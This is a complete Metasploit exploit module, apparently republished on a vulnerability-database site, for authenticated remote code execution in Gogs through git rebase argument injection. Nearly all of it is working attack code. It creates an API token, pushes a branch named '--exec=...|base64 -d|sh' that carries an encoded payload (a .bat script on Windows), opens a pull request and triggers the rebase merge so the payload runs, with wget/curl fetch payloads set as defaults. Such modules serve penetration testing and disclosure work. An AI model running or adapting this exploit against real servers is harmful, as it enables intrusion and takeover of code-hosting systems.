# frozen_string_literal: true
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Gogs Git Rebase Argument Injection RCE',
'Description' => %q{
This module exploits an argument injection vulnerability in the
pull request merge flow of Gogs (<= 0.14.2 and <= 0.15.0+dev).
The Merge() function in internal/database/pull.go passes the PR
base branch name to `git rebase` without a `--` separator. A
branch named `--exec=<CMD>` is parsed by Git as the --exec flag
rather than a positional argument, causing `sh -c <CMD>` to run
after each replayed commit during the rebase.
Two exploitation methods are supported:
- own_repo: The attacker creates a temporary repository, enables
rebase merge, and operates entirely within their own account.
Any authenticated user who can create repositories (the default)
can exploit this with no interaction from other users required.
- existing_repo: The attacker exploits a repository they already
have write and merge access to, where "Rebase before merging"
is enabled (or the attacker has repo admin permissions to
enable it). This path is useful on instances where repository
creation is restricted.
Both methods use git to push divergent branches (including the
malicious --exec= branch), open a pull request, and trigger a
rebase merge to execute the payload. A local git installation
is required.
On Unix targets, the payload is base64-encoded inline in
the malicious branch name, avoiding the need to commit files
to the repository. On Windows targets, the payload is
delivered via a script file committed to the repository,
since NTFS forbids pipe characters in filenames. Git for
Windows uses MSYS2 sh for --exec commands, enabling
cross-platform exploitation.
Note: a successful rebase merge may leave the server-side
repository in a corrupted git state (mid-rebase). For
own_repo this is inconsequential because the repository is
deleted. For existing_repo this can break the target
repository and prevent re-exploitation against the same repo.
The Gogs API does not support token deletion, so the API
access token created during exploitation cannot be removed
automatically and will persist under the attacker account.
},
'Author' => [
'Crypto-Cat', # Vulnerability discovery and Metasploit module
],
'References' => [
# ['CVE', ''],
['GHSA', 'qf6p-p7ww-cwr9', 'gogs/gogs'],
['URL', 'https://www.rapid7.com/blog/post/ve-authenticated-rce-via-argument-injection-gogs-unfixed'],
['URL', 'https://github.com/gogs/gogs'],
],
'DisclosureDate' => '2026-03-17',
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux', 'win'],
'Arch' => ARCH_CMD,
'Privileged' => false,
'Targets' => [
[
'Unix Command',
{
'Platform' => ['linux', 'unix'],
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'FETCH_COMMAND' => 'WGET',
'FETCH_WRITABLE_DIR' => '/tmp/'
}
}
],
[
'Windows Command',
{
'Platform' => 'win',
'Arch' => ARCH_CMD,
'Type' => :win_cmd,
'DefaultOptions' => {
'FETCH_COMMAND' => 'CURL'
}
}
]
],
'DefaultOptions' => {
'RPORT' => 3000,
'WfsDelay' => 30
},
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [CONFIG_CHANGES, ARTIFACTS_ON_DISK, IOC_IN_LOGS],
# Not REPEATABLE_SESSION: existing_repo can corrupt the target
# repo's git state (mid-rebase), preventing re-exploitation.
'Reliability' => []
}
)
)
register_options([
OptString.new('USERNAME', [true, 'Gogs username', nil]),
OptString.new('PASSWORD', [true, 'Gogs password', nil]),
OptEnum.new('EXPLOIT_METHOD', [
true, 'Exploit method: own_repo creates a temporary repo, existing_repo targets a repo the attacker has write access to',
'own_repo', ['own_repo', 'existing_repo']
]),
OptString.new('REPO_OWNER', [false, 'Owner of the target repository (required for existing_repo)', nil], conditions: %w[EXPLOIT_METHOD == existing_repo]),
OptString.new('REPO_NAME', [false, 'Name of the target repository (required for existing_repo)', nil], conditions: %w[EXPLOIT_METHOD == existing_repo]),
OptBool.new('ENABLE_REBASE', [
true, 'Enable rebase merge in repository settings (existing_repo requires repo admin access)', true
]),
])
@need_cleanup = false
end
# Maps CSS/JS commit hashes to Gogs release versions for fingerprinting.
# The hash appears in the ?v= parameter of static asset URLs on unauthenticated pages.
COMMIT_TO_VERSION = {
'5dcb6c64bdf61e38dbdbb941c1d69789c560d0fb' => '0.14.2',
'f5c8030c1fd936f3e0e9f774e3c7c39fd102f56f' => '0.14.1',
'36c26c4ccc3ca0339db53eb1fa41e4e86b55163d' => '0.14.0',
'd958a47a0e9d8747e399c687fdb3ec64a3b1a736' => '0.13.4',
'5084b4a9b77a506f5e287e82e945e1c6882b827a' => '0.13.3',
'593c7b6db601c68d16b2fb9a7e1194cb816f5efb' => '0.13.2',
'0c40e600a275d490481cfeea53705810fbe94d9b' => '0.13.1',
'8c21874c00b6100d46b662f65baeb40647442f42' => '0.13.0',
'c9fba3cb30af0789fcf89098dfcb8f2286ee7d3b' => '0.12.11',
'1ce5171ae170750298c150874e718740dd7ef69f' => '0.12.10',
'012a1ba19ed2f8f5185be4254f655ba6c4b34db2' => '0.12.9',
'7f8799c01f264eb7770766621fb68debee414b68' => '0.12.8',
'd06ba7e527fcc462aecdb660ce001e87d94f024c' => '0.12.7',
'26395294bdef382b577fd60234e5bb14f4090cc8' => '0.12.6'
}.freeze
def own_repo?
datastore['EXPLOIT_METHOD'] == 'own_repo'
end
def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path)
)
return CheckCode::Unknown('Target did not respond.') unless res
unless res.body.to_s.match(/<meta +name="author" +content="Gogs"/)
return CheckCode::Safe('Target does not appear to be running Gogs.')
end
# Fingerprint via static asset commit hash (unauthenticated, all versions)
version = nil
hash_match = res.body.to_s.match(/gogs\.min\.css\?v=([a-f0-9]{40})/)
if hash_match
version = COMMIT_TO_VERSION[hash_match[1]]
vprint_status("Unknown Gogs commit hash: #{hash_match[1]}") unless version
end
service_info = version ? "Gogs Git Service #{version}" : 'Gogs Git Service'
report_gogs_service(service_info)
if version
ver = Rex::Version.new(version)
# NOTE: No fix exists yet. We assume a future version > 0.14.2 will
# include a patch. If the next release (e.g. 0.14.3) is still
# vulnerable, update this threshold accordingly.
if ver <= Rex::Version.new('0.14.2')
return CheckCode::Appears("Gogs #{version} detected.")
else
return CheckCode::Safe("Gogs #{version} detected.")
end
end
CheckCode::Detected('Gogs detected, but could not determine version.')
end
def exploit
fail_with(Failure::BadConfig, 'Local git installation required but not found') unless git_available?
unless own_repo?
fail_with(Failure::BadConfig, 'REPO_OWNER is required when EXPLOIT_METHOD is existing_repo') if datastore['REPO_OWNER'].blank?
fail_with(Failure::BadConfig, 'REPO_NAME is required when EXPLOIT_METHOD is existing_repo') if datastore['REPO_NAME'].blank?
end
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
# Authenticate (API token first, before web login adds session cookies)
print_status("Authenticating as \"#{datastore['USERNAME']}\"")
create_api_token
gogs_login
print_good('Authenticated')
if own_repo?
@repo_name = "#{Rex::Text.rand_text_alpha_lower(4)}-#{Rex::Text.rand_text_alpha_lower(4)}"
@repo_path = "#{datastore['USERNAME']}/#{@repo_name}"
print_status("Creating repository \"#{@repo_name}\"")
create_repo
@need_cleanup = true
print_good('Repository created')
print_status('Enabling rebase merge in repository settings')
enable_rebase_merge
print_good('Rebase merge enabled')
else
@repo_name = datastore['REPO_NAME']
@repo_path = "#{datastore['REPO_OWNER']}/#{@repo_name}"
print_status("Using existing repository \"#{@repo_path}\"")
validate_existing_repo
@need_cleanup = true
if datastore['ENABLE_REBASE']
try_enable_rebase
else
print_status('Assuming rebase merge is already enabled (set ENABLE_REBASE to change settings)')
end
end
case target['Type']
when :unix_cmd
# Base64-encode the payload inline in the branch name. Pipes are
# valid in Linux/macOS refs but forbidden on NTFS, so this is
# Unix-only. No script file needs to be committed to the repo.
wrapped = "(#{payload.encoded}) </dev/null >/dev/null 2>&1 &"
b64 = Rex::Text.encode_base64(wrapped)
# Git ref names forbid '//'; re-pad with leading spaces until safe
padding = 0
while b64.include?('//') && padding < 50
padding += 1
b64 = Rex::Text.encode_base64(' ' * padding + wrapped)
end
@malicious_branch = "--exec=echo${IFS}#{b64}|base64${IFS}-d|sh"
when :win_cmd
# NTFS forbids | in filenames so we can't use the base64|sh
# approach. Instead, commit a script file to the repo.
# MSYS2 sh mangles $, & etc. so write the payload to a .bat and
# have the sh wrapper invoke cmd.exe instead.
rand_name = Rex::Text.rand_text_alpha_lower(6)
@payload_content = payload.encoded
@payload_file = ".#{rand_name}"
@bat_file = ".#{rand_name}.bat"
@malicious_branch = "--exec=sh${IFS}#{@payload_file}"
end
print_status('Pushing branches via git')
setup_branches_via_git
print_good('Branches pushed')
print_status('Creating pull request')
@pr_number = create_pull_request
print_good("PR ##{@pr_number} created")
print_status('Triggering rebase merge')
trigger_rebase_merge
report_vuln(
host: rhost,
port: rport,
proto: 'tcp',
name: name,
info: "Exploited via #{datastore['EXPLOIT_METHOD']} method",
refs: references,
service: report_gogs_service('Gogs Git Service')
)
print_good('Rebase merge triggered, waiting for shell...')
end
# ---------------------------------------------------------------
# Authentication
# ---------------------------------------------------------------
def gogs_login
res = http_post_request(
'/user/login',
user_name: datastore['USERNAME'],
password: datastore['PASSWORD']
)
fail_with(Failure::Unreachable, 'Login page unreachable') unless res
fail_with(Failure::NoAccess, 'Login failed - check credentials') unless res.code == 302
end
def create_api_token
preflight = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'api', 'v1')
)
fail_with(Failure::Unreachable, 'Gogs API not responding') unless preflight
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'users', datastore['USERNAME'], 'tokens'),
'ctype' => 'application/json',
'headers' => { 'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']) },
'data' => { name: "msf_#{Rex::Text.rand_text_alpha_lower(8)}" }.to_json
)
fail_with(Failure::UnexpectedReply, "API token creation failed (HTTP #{res&.code})") unless res&.code == 201
@api_token = res.get_json_document['sha1']
vprint_good("API token: #{@api_token}")
end
# ---------------------------------------------------------------
# Repository setup
# ---------------------------------------------------------------
def create_repo
res = api_request(
'POST',
'/api/v1/user/repos',
{ name: @repo_name, private: true, default_branch: 'master' }.to_json
)
fail_with(Failure::UnexpectedReply, "Repo creation failed: #{res&.code}") unless res&.code == 201
end
def enable_rebase_merge
res = http_post_request(
"/#{@repo_path}/settings",
action: 'advanced',
enable_pulls: 'on',
pulls_allow_rebase: 'on'
)
fail_with(Failure::Unreachable, 'Settings page unreachable') unless res
fail_with(Failure::UnexpectedReply, 'Failed to enable rebase merge') unless [200, 302].include?(res.code)
end
def validate_existing_repo
res = api_request('GET', "/api/v1/repos/#{@repo_path}")
fail_with(Failure::BadConfig, "Repository #{@repo_path} not found or not accessible") unless res&.code == 200
repo_info = res.get_json_document
db = repo_info['default_branch'].to_s
@default_branch = db.empty? ? 'master' : db
vprint_status("Default branch: #{@default_branch}")
print_good("Repository #{@repo_path} confirmed accessible")
end
def try_enable_rebase
print_status('Attempting to enable rebase merge in repository settings')
settings_uri = normalize_uri(target_uri.path, @repo_path, 'settings')
res = send_request_cgi(
'method' => 'GET',
'uri' => settings_uri,
'keep_cookies' => true
)
unless res && res.code == 200
print_warning('Could not access repository settings (may require repo admin). Ensure rebase merge is already enabled.')
return
end
doc = res.get_html_document
csrf = doc.at_xpath("//input[@name='_csrf']/@value")&.text
unless csrf
print_warning('Could not extract CSRF from settings page. Ensure rebase merge is already enabled.')
return
end
res = send_request_cgi(
'method' => 'POST',
'uri' => settings_uri,
'keep_cookies' => true,
'ctype' => 'application/x-www-form-urlencoded',
'vars_post' => {
'_csrf' => csrf,
'action' => 'advanced',
'enable_pulls' => 'on',
'pulls_allow_rebase' => 'on'
}
)
if res && [200, 302].include?(res.code)
print_good('Rebase merge enabled')
else
print_warning('Could not enable rebase merge. Ensure it is already enabled.')
end
end
# ---------------------------------------------------------------
# Branch setup via local git
# ---------------------------------------------------------------
def setup_branches_via_git
@tmpdir = Dir.mktmpdir('msf_gogs_')
workdir = File.join(@tmpdir, 'work')
clone_url = build_clone_url
if own_repo?
run_git!(['init', workdir])
run_git!(['remote', 'add', 'origin', clone_url], workdir)
else
run_git!(['clone', clone_url, workdir])
end
run_git!(['config', 'user.email', Faker::Internet.email], workdir)
run_git!(['config', 'user.name', Faker::Internet.username], workdir)
if own_repo?
File.write(File.join(workdir, 'README.md'), "# #{@repo_name}\n")
run_git!(['add', '.'], workdir)
run_git!(['commit', '-m', 'init'], workdir)
run_git!(['push', '-u', 'origin', 'master'], workdir)
end
@feature_branch = "feature-#{Rex::Text.rand_text_alpha_lower(6)}"
run_git!(['checkout', '-b', @feature_branch], workdir)
File.write(File.join(workdir, 'feature.txt'), Rex::Text.rand_text_alpha(8))
run_git!(['add', '.'], workdir)
run_git!(['commit', '-m', 'feature'], workdir)
run_git!(['push', 'origin', @feature_branch], workdir)
# Create a divergent commit to force a rebase. For existing_repo, use
# the repo's default branch. Never push directly to the base branch.
base_branch = own_repo? ? 'master' : (@default_branch || 'master')
run_git!(['checkout', base_branch], workdir)
File.write(File.join(workdir, 'diverge.txt'), Rex::Text.rand_text_alpha(8))
# Write payload script files for Windows targets. Linux uses
# base64-encoded payload inline in the branch name instead.
if @bat_file
# sh wrapper -> cmd.exe -> .bat (//c prevents MSYS2 path conversion)
File.write(File.join(workdir, @payload_file), "cmd.exe //c #{@bat_file} </dev/null >/dev/null 2>&1 &\n")
File.write(File.join(workdir, @bat_file), @payload_content + "\n")
end
run_git!(['add', '.'], workdir)
run_git!(['commit', '-m', 'diverge'], workdir)
# Push malicious branch via refspec (bypasses checkout -b validation).
# Don't push to the base branch itself (especially for existing_repo).
run_git!(['push', 'origin', "HEAD:refs/heads/#{@malicious_branch}"], workdir)
vprint_good("Malicious branch: #{@malicious_branch}")
vprint_good("Feature branch: #{@feature_branch}")
end
def build_clone_url
user_enc = Rex::Text.uri_encode(datastore['USERNAME'])
pass_enc = Rex::Text.uri_encode(datastore['PASSWORD'])
scheme = datastore['SSL'] ? 'https' : 'http'
authority = Rex::Socket.to_authority(rhost, rport)
"#{scheme}://#{user_enc}:#{pass_enc}@#{authority}#{normalize_uri(target_uri.path, @repo_path)}.git"
end
def git_available?
_out, _err, status = Open3.capture3('git', '--version')
status.success?
rescue Errno::ENOENT
false
end
def run_git!(args, cwd = nil)
env = { 'GIT_TERMINAL_PROMPT' => '0' }
opts = {}
opts[:chdir] = cwd if cwd
stdout, stderr, status = Open3.capture3(env, 'git', *args, **opts)
unless status.success?
fail_with(Failure::Unknown, "Git #{args.first} failed: #{stderr.strip}")
end
stdout
end
# Non-fatal variant for cleanup operations where failure is acceptable
def run_git_safe(args, cwd = nil)
env = { 'GIT_TERMINAL_PROMPT' => '0' }
opts = {}
opts[:chdir] = cwd if cwd
_stdout, stderr, status = Open3.capture3(env, 'git', *args, **opts)
unless status.success?
vprint_warning("Git #{args.first} failed: #{stderr.strip}")
return false
end
true
rescue StandardError => e
vprint_warning("Git #{args.first} error: #{e.message}")
false
end
# ---------------------------------------------------------------
# Pull request and merge
# ---------------------------------------------------------------
def create_pull_request
encoded_branch = Rex::Text.uri_encode(@malicious_branch)
compare_uri = "/#{@repo_path}/compare/#{encoded_branch}...#{@feature_branch}"
res = http_post_request(
compare_uri,
title: Rex::Text.rand_text_alpha(6),
content: '',
assignee_id: '0',
milestone_id: '0'
)
fail_with(Failure::Unreachable, 'Compare page unreachable') unless res
if [302, 303].include?(res.code)
location = res.headers['Location'].to_s
pr_num = location.chomp('/').split('/').last
return pr_num if pr_num =~ /^\d+$/
end
# Fallback: find PR via API
res = api_request('GET', "/api/v1/repos/#{@repo_path}/pulls?state=open")
if res&.code == 200
pulls = res.get_json_document
return pulls.last['number'].to_s unless pulls.empty?
end
fail_with(Failure::UnexpectedReply, 'PR creation failed')
end
def trigger_rebase_merge
merge_uri = "/#{@repo_path}/pulls/#{@pr_number}/merge"
pr_uri = "/#{@repo_path}/pulls/#{@pr_number}"
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, pr_uri),
'keep_cookies' => true
)
csrf = extract_csrf(res)
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, merge_uri),
'keep_cookies' => true,
'ctype' => 'application/x-www-form-urlencoded',
'vars_get' => { 'merge_style' => 'rebase_before_merging' },
'vars_post' => {
'_csrf' => csrf,
'commit_description' => ''
}
}, 5)
# May return 500 (expected on exec), 302 (merged), or timeout (blocking shell)
# Reset connection pool since the merge POST may have timed out
disconnect
end
# ---------------------------------------------------------------
# HTTP helpers
# ---------------------------------------------------------------
def api_request(method, uri, body = nil)
opts = {
'method' => method,
'uri' => normalize_uri(target_uri.path, uri),
'headers' => { 'Authorization' => "token #{@api_token}" }
}
if body
opts['ctype'] = 'application/json'
opts['data'] = body
end
send_request_cgi(opts)
end
def http_post_request(uri, opts = {})
full_uri = normalize_uri(target_uri.path, uri)
csrf = get_csrf(full_uri)
post_data = { _csrf: csrf }.merge(opts)
send_request_cgi(
'method' => 'POST',
'uri' => full_uri,
'ctype' => 'application/x-www-form-urlencoded',
'keep_cookies' => true,
'vars_post' => post_data
)
end
def get_csrf(uri)
res = send_request_cgi(
'method' => 'GET',
'uri' => uri,
'keep_cookies' => true
)
fail_with(Failure::Unreachable, "Unable to reach #{uri}") unless res
extract_csrf(res)
end
def extract_csrf(res)
fail_with(Failure::Unreachable, 'No response to extract CSRF from') unless res
doc = res.get_html_document
csrf = doc.at_xpath("//input[@name='_csrf']/@value")&.text
fail_with(Failure::NotFound, 'CSRF token not found in response') if csrf.blank?
csrf
end
def basic_auth(user, pass)
"Basic #{Rex::Text.encode_base64("#{user}:#{pass}")}"
end
# Returns a service object for linking to report_vuln.
# Builds the full layered service hierarchy: gogs -> [ssl ->] http -> tcp
def report_gogs_service(info)
base_opts = {
host: rhost,
port: rport,
proto: 'tcp'
}
gogs_srv = base_opts.merge(name: 'gogs', info: info)
http_srv = base_opts.merge(name: 'http', parents: base_opts.merge(name: 'tcp'))
gogs_srv[:parents] = datastore['SSL'] ? base_opts.merge(name: 'ssl', parents: http_srv) : http_srv
report_service(gogs_srv)
end
# ---------------------------------------------------------------
# Cleanup
# ---------------------------------------------------------------
def cleanup
super
if @need_cleanup
if own_repo?
cleanup_own_repo
else
cleanup_existing_repo
end
end
# Clean up local temp directory AFTER remote cleanup (existing_repo
# branch deletion uses the local git workdir for push operations)
if @tmpdir && File.directory?(@tmpdir)
FileUtils.rm_rf(@tmpdir)
vprint_status('Local temp directory cleaned up')
end
# Gogs API has no token deletion endpoint, so warn the user
if @api_token
print_warning('API token "msf_*" persists on the target (Gogs API does not support token deletion)')
end
end
def cleanup_own_repo
print_status("Cleaning up - deleting repository #{@repo_name}")
send_request_cgi(
'method' => 'DELETE',
'uri' => normalize_uri(target_uri.path, '/api/v1/repos/', @repo_path),
'headers' => { 'Authorization' => "token #{@api_token}" }
)
verify = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/api/v1/repos/', @repo_path),
'headers' => { 'Authorization' => "token #{@api_token}" }
)
if verify&.code == 404
print_good("Repository #{@repo_name} deleted")
elsif verify.nil?
print_warning("Could not confirm deletion. Delete #{@repo_path} manually if it still exists.")
else
print_warning("Repository may still exist. Delete #{@repo_path} manually.")
end
rescue ::Rex::ConnectionError, ::Errno::ECONNRESET => e
print_warning("Cleanup failed: #{e.message}. Delete #{@repo_path} manually.")
end
def cleanup_existing_repo
print_status("Cleaning up artifacts from #{@repo_path}")
delete_remote_branches
close_pull_request
rescue ::Rex::ConnectionError, ::Errno::ECONNRESET => e
print_warning("Cleanup failed: #{e.message}")
print_warning("Manually delete branches and close PR ##{@pr_number} in #{@repo_path}")
end
def delete_remote_branches
workdir = @tmpdir ? File.join(@tmpdir, 'work') : nil
return unless workdir && File.directory?(workdir)
if @malicious_branch
vprint_status("Deleting malicious branch from #{@repo_path}")
if run_git_safe(['push', 'origin', '--delete', "refs/heads/#{@malicious_branch}"], workdir)
print_good('Malicious branch deleted')
else
print_warning("Could not delete malicious branch. Delete it manually from #{@repo_path}")
end
end
if @feature_branch
vprint_status("Deleting feature branch from #{@repo_path}")
if run_git_safe(['push', 'origin', '--delete', @feature_branch], workdir)
print_good('Feature branch deleted')
else
print_warning("Could not delete feature branch \"#{@feature_branch}\" from #{@repo_path}")
end
end
end
def close_pull_request
return unless @pr_number
# GET the PR page for CSRF (must use /pulls/ path; /issues/ redirects)
pr_page = normalize_uri(target_uri.path, @repo_path, 'pulls', @pr_number)
res = send_request_cgi(
'method' => 'GET',
'uri' => pr_page,
'keep_cookies' => true
)
unless res
print_warning("Could not load PR page to close PR ##{@pr_number}")
return
end
# Extract CSRF without fail_with (cleanup must not abort)
doc = res.get_html_document
csrf = doc.at_xpath("//input[@name='_csrf']/@value")&.text
unless csrf
print_warning("Could not find CSRF token to close PR ##{@pr_number}")
return
end
comment_uri = normalize_uri(target_uri.path, @repo_path, 'issues', @pr_number, 'comments')
res = send_request_cgi(
'method' => 'POST',
'uri' => comment_uri,
'keep_cookies' => true,
'ctype' => 'application/x-www-form-urlencoded',
'vars_post' => {
'_csrf' => csrf,
'status' => 'close',
'content' => ''
}
)
if res && [200, 302].include?(res.code)
print_good("PR ##{@pr_number} closed")
else
print_warning("Could not close PR ##{@pr_number}. Close it manually in #{@repo_path}")
end
rescue StandardError => e
print_warning("Failed to close PR: #{e.message}")
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation